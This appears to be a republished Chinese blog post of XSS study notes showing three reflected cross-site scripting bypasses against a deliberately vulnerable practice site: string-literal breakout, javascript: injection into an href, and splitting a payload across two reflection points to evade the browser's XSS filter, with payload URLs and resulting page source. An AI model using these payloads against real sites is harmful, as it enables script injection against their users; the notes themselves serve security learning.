【XSS】XSS Bypass学习笔记1

来源:互联网 发布:印度综合实力 知乎 编辑:程序博客网 时间:2024/06/08 03:42

第一种情况:服务端没有任何保护措施

示例地址:https://vulnerabledoma.in/bypass/str_literal?q=%22%3Balert(1)//

可以看到成功弹窗

查看网页源代码可以看到

 <script>var q="";alert(1)//"</script>URL里面的22%经过解码之后是"与前面的"闭合

3B%经过解码是;和前面的组成完整的一句话

alert(1)是js中显示弹窗的代码

//是js中的单行注释,注释掉的内容不参与解释执行

写的好看一点应该是:

<script>var q ="";alert(1)//"</scrtpt>


第二种:把用户输入的值直接带入href标签时

示例地址:https://vulnerabledoma.in/bypass/link?q=javascript:alert(1)

查看源代码可以看到,服务器直接将我们传入的参数写到href标签中

 <a href="javascript:alert(1)">Link</a>

当我们点击链接时,便触发了XSS

第三种:有两个以上的XSS漏洞点

直接构造xss语句的话会被浏览器检测到恶意代码,并拒绝执行,以谷歌浏览器为例

示例地址:https://vulnerabledoma.in/bypass/text?type=1&q=%3Cscript%3E%60-alert(1)%3C/script%3E%60点击打开链接


所以我们尝试通过把XSS语句分割成两句话来绕过

https://vulnerabledoma.in/bypass/text?type=2&q=%60-alert(1)%3C/script%3E%3Cscript%3E%60

发现成功弹出对话框

绕过解释:

把js语句分割成两块,解码后的url是q=`-alert(1)</script><script>`

网页源码

<div>`-alert(1)</script><script>`</div><div>`-alert(1)</script><script>`</div>


原创粉丝点击